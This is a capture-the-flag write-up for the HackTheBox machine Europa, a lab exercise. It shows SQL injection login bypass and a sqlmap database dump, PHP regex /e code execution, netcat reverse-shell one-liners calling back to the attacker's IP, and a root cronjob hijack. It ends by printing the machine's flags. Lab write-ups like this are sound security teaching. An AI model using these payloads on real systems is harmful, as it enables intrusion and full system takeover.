HackTheBox Europa
Writeup for HackTheBox Europa
Machine Synopsis
Europa can present a bit of a challenge, or can be quite easy, depending on if you know what to look for. While it does not require many steps to complete, it provides a great learning experience in several fairly uncommon enumeration techniques and attack vectors. (Source)
Enumeration
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ nmap -sC -sV -A 10.10.10.22
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 6b:55:42:0a:f7:06:8c:67:c0:e2:5c:05:db:09:fb:78 (RSA)
| 256 b1:ea:5e:c4:1c:0a:96:9e:93:db:1d:ad:22:50:74:75 (ECDSA)
|_ 256 33:1f:16:8d:c0:24:78:5f:5b:f5:6d:7f:f7:b4:f2:e5 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.18 (Ubuntu)
443/tcp open ssl/http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
| ssl-cert: Subject: commonName=europacorp.htb/organizationName=EuropaCorp Ltd./stateOrProvinceName=Attica/countryName=GR
| Subject Alternative Name: DNS:www.europacorp.htb, DNS:admin-portal.europacorp.htb
| Not valid before: 2017-04-19T09:06:22
|_Not valid after: 2027-04-17T09:06:22
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
From the nmap
scan, we notice an interesting result under port 443
- DNS:www.europacorp.htb, DNS:admin-portal.europacorp.htb
.
Let’s add these DNS to our /etc/hosts
.
1
2
3
4
5
6
7
8
9
10
11
$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 shiro.shiro shiro
10.10.10.48 mirai.htb
10.10.10.13 cronos.htb ns1.cronos.htb admin.cronos.htb
10.10.10.22 europa.htb www.europacorp.htb admin-portal.europacorp.htb
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
https://www.europacorp.htb
brings us to an Apache default page. However, https://admin-portal.europacorp.htb
brings us to a login page!
SQL Injection - First Method
Used Burp Suite to intercept the login request.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
POST /login.php HTTP/1.1
Host: admin-portal.europacorp.htb
Cookie: PHPSESSID=13recun5a2dqqh7i5g2e75vq54
Content-Length: 41
Cache-Control: max-age=0
Sec-Ch-Ua: "(Not(A:Brand";v="8", "Chromium";v="101"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: https://admin-portal.europacorp.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://admin-portal.europacorp.htb/login.php
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close
email=admin%40europacorp.htb&password=password
Then I sent the request to Burp’s Repeater and tried some SQL syntax.
Upon using '
, I realized that the server returned an SQL error. This indicates possible SQLi vulnerability.
1
2
3
4
5
6
7
HTTP Request
...
email=admin%40europacorp.htb'&password=password
HTTP Response
...
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '5f4dcc3b5aa765d61d8327deb882cf99'' at line 1
Basic SQL injection techniques and ’-- -
or ’;-- -
worked.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
HTTP Request
...
email=admin%40europacorp.htb'--+-&password=password
HTTP Response
HTTP/1.1 302 Found
Date: Mon, 09 May 2022 02:22:35 GMT
Server: Apache/2.4.18 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: https://admin-portal.europacorp.htb/dashboard.php
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8
SQLMap - Second Method
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ sqlmap -r login_request.txt --batch --force-ssl
...
sqlmap identified the following injection point(s) with a total of 348 HTTP(s) requests:
---
Parameter: email (POST)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: email=shiro@shiro.com' RLIKE (SELECT (CASE WHEN (3338=3338) THEN 0x736869726f40736869726f2e636f6d ELSE 0x28 END))-- BtER&password=password
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: email=shiro@shiro.com' AND GTID_SUBSET(CONCAT(0x716b7a7171,(SELECT (ELT(3998=3998,1))),0x716b6a7871),3998)-- scRF&password=password
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: email=shiro@shiro.com' AND (SELECT 3886 FROM (SELECT(SLEEP(5)))QrgU)-- ESHj&password=password
---
...
Note: we use
force-ssl
because there is nohttp
.
It looks like sqlmap
found 3 ways to bypass the login.
1
2
3
4
5
6
$ sqlmap -r login_request.txt --batch --force-ssl --dbs
...
available databases [2]:
[*] admin
[*] information_schema
...
1
2
3
4
5
6
7
8
$ sqlmap -r login_request.txt --batch --force-ssl -D admin --tables
...
Database: admin
[1 table]
+-------+
| users |
+-------+
...
1
2
3
4
5
6
7
8
9
10
11
12
$ sqlmap -r login_request.txt --batch --force-ssl -D admin -T users --dump
...
Database: admin
Table: users
[2 entries]
+----+----------------------+--------+----------------------------------+---------------+
| id | email | active | password | username |
+----+----------------------+--------+----------------------------------+---------------+
| 1 | admin@europacorp.htb | 1 | 2b6d315337f18617ba18922c0b9597ff | administrator |
| 2 | john@europacorp.htb | 1 | 2b6d315337f18617ba18922c0b9597ff | john |
+----+----------------------+--------+----------------------------------+---------------+
...
Using Hashes.com, we find out that the password is SuperSecretPassword!
.
1
2b6d315337f18617ba18922c0b9597ff:SuperSecretPassword!
Exploitation
Here is the admin dashboard.
The Tools page has an OpenVPN Config Generator.
Let’s intercept the request when clicking Generate!
.
1
2
3
4
5
6
7
8
POST /tools.php HTTP/1.1
Host: admin-portal.europacorp.htb
Cookie: PHPSESSID=bf3oqpkbh8rc0oheor1m6ihr40
Content-Length: 1678
...
Connection: close
pattern=%2Fip_address%2F&ipaddress=&text=%22openvpn%22%3A+%7B%0D%0A++++++++%22vtun0%22%3A+%7B%0D%0A++++++++++++++++%22local-address%22%3A+%7B%0D%0A++++++++++++++++++++++++%2210.10.10.1%22%3A+%22%27%27%22%0D%0A++++++++++++++++%7D%2C%0D%0A++++++++++++++++%22local-port%22%3A+%221337%22%2C%0D%0A++++++++++++++++%22mode%22%3A+%22site-to-site%22%2C%0D%0A++++++++++++++++%22openvpn-option%22%3A+%5B%0D%0A++++++++++++++++++++++++%22--comp-lzo%22%2C%0D%0A++++++++++++++++++++++++%22--float%22%2C%0D%0A++++++++++++++++++++++++%22--ping+10%22%2C%0D%0A++++++++++++++++++++++++%22--ping-restart+20%22%2C%0D%0A++++++++++++++++++++++++%22--ping-timer-rem%22%2C%0D%0A++++++++++++++++++++++++%22--persist-tun%22%2C%0D%0A++++++++++++++++++++++++%22--persist-key%22%2C%0D%0A++++++++++++++++++++++++%22--user+nobody%22%2C%0D%0A++++++++++++++++++++++++%22--group+nogroup%22%0D%0A++++++++++++++++%5D%2C%0D%0A++++++++++++++++%22remote-address%22%3A+%22ip_address%22%2C%0D%0A++++++++++++++++%22remote-port%22%3A+%221337%22%2C%0D%0A++++++++++++++++%22shared-secret-key-file%22%3A+%22%2Fconfig%2Fauth%2Fsecret%22%0D%0A++++++++%7D%2C%0D%0A++++++++%22protocols%22%3A+%7B%0D%0A++++++++++++++++%22static%22%3A+%7B%0D%0A++++++++++++++++++++++++%22interface-route%22%3A+%7B%0D%0A++++++++++++++++++++++++++++++++%22ip_address%2F24%22%3A+%7B%0D%0A++++++++++++++++++++++++++++++++++++++++%22next-hop-interface%22%3A+%7B%0D%0A++++++++++++++++++++++++++++++++++++++++++++++++%22vtun0%22%3A+%22%27%27%22%0D%0A++++++++++++++++++++++++++++++++++++++++%7D%0D%0A++++++++++++++++++++++++++++++++%7D%0D%0A++++++++++++++++++++++++%7D%0D%0A++++++++++++++++%7D%0D%0A++++++++%7D%0D%0A%7D%0D%0A++++++++++++++++++++++++++++++++
The payload is URL encoded. Here is the URL decoded payload.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
pattern=/ip_address/&ipaddress=&text="openvpn": {
"vtun0": {
"local-address": {
"10.10.10.1": "''"
},
"local-port": "1337",
"mode": "site-to-site",
"openvpn-option": [
"--comp-lzo",
"--float",
"--ping 10",
"--ping-restart 20",
"--ping-timer-rem",
"--persist-tun",
"--persist-key",
"--user nobody",
"--group nogroup"
],
"remote-address": "ip_address",
"remote-port": "1337",
"shared-secret-key-file": "/config/auth/secret"
},
"protocols": {
"static": {
"interface-route": {
"ip_address/24": {
"next-hop-interface": {
"vtun0": "''"
}
}
}
}
}
}
The payload appears to be looking for some regex pattern. Doing a quick Google search on PHP regex exploit
results to this article. It seems like we can an e
modifier to the regex/pattern to execute a PHP
code.
Let’s modify our request to something like this: pattern=/ip_address/e&ipaddress=system('id')&text=...
1
2
3
4
5
6
7
8
9
HTTP Request
...
pattern=%2Fip_address%2Fe&ipaddress=system('id')&text=...
HTTP Response
...
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
...
Nice, we executed some PHP code. Now, we can send a reverse (url encoded) reverse shell command.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Reverse netcat shell code (non-URL encoded)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.8 1234 >/tmp/f
Reverse netcat shell code (URL encoded)
rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20%2Di%202%3E%261%7Cnc%2010%2E10%2E14%2E8%201234%20%3E%2Ftmp%2Ff
- HTTP Request -
...
pattern=%2Fip_address%2Fe&ipaddress=system("rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20%2Di%202%3E%261%7Cnc%2010%2E10%2E14%2E8%201234%20%3E%2Ftmp%2Ff")&text=...
- Netcat listener -
$ nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.10.22] 35470
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
Privilege Escalation
1
2
3
4
5
6
7
8
9
10
11
12
$ wget http://10.10.14.8/linpeas.sh
$ chmod +x linpeas.sh
$ ./linpeas.sh
...
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --re./linpeas.sh: 2587: ./linpeas.sh: grep -R -B1 "httpd-php" /etc/apache2 2>/dev/null: not found
./linpeas.sh: 2773: ./linpeas.sh: gpg-connect-agent: not found
port /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * * root /var/www/cronjobs/clearlogs
...
There an interesting cronjob running called clearlogs
!
1
2
3
4
5
6
7
8
$ cat /var/www/cronjobs/clearlogs
#!/usr/bin/php
<?php
$file = '/var/www/admin/logs/access.log';
file_put_contents($file, '');
exec('/var/www/cmd/logcleared.sh');
?>
The cronjob is executing some logcleared.sh
script but the file does not exist. We can leverage this by writing our own malicious logcleared.sh
file.
1
2
3
4
$ echo 'rm /tmp/f2;mkfifo /tmp/f2;cat /tmp/f2|/bin/sh -i 2>&1|nc 10.10.14.8 9999 >/tmp/f2' > /var/www/cmd/logcleared.sh
$ cat /var/www/cmd/logcleared.sh
rm /tmp/f2;mkfifo /tmp/f2;cat /tmp/f2|/bin/sh -i 2>&1|nc 10.10.14.8 9999 >/tmp/f2
$ chmod +x /var/www/cmd/logcleared.sh
Note: As we are currently using the variable
f
for the current user shell, we cannot reuse it. Therefore, we need to use another variablef2
.
Finally, we wait for the cronjob to execute our malicious code.
1
2
3
4
5
6
7
8
9
10
11
12
$ nc -nlvp 9999
listening on [any] 9999 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.10.22] 50522
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
# cat /root/root.txt
7f19438b27578e4fcc8bef3a029af5a5
# ls /home
john
# cat /home/john/user.txt
2f8d40cc05295154a9c3452c19ddc221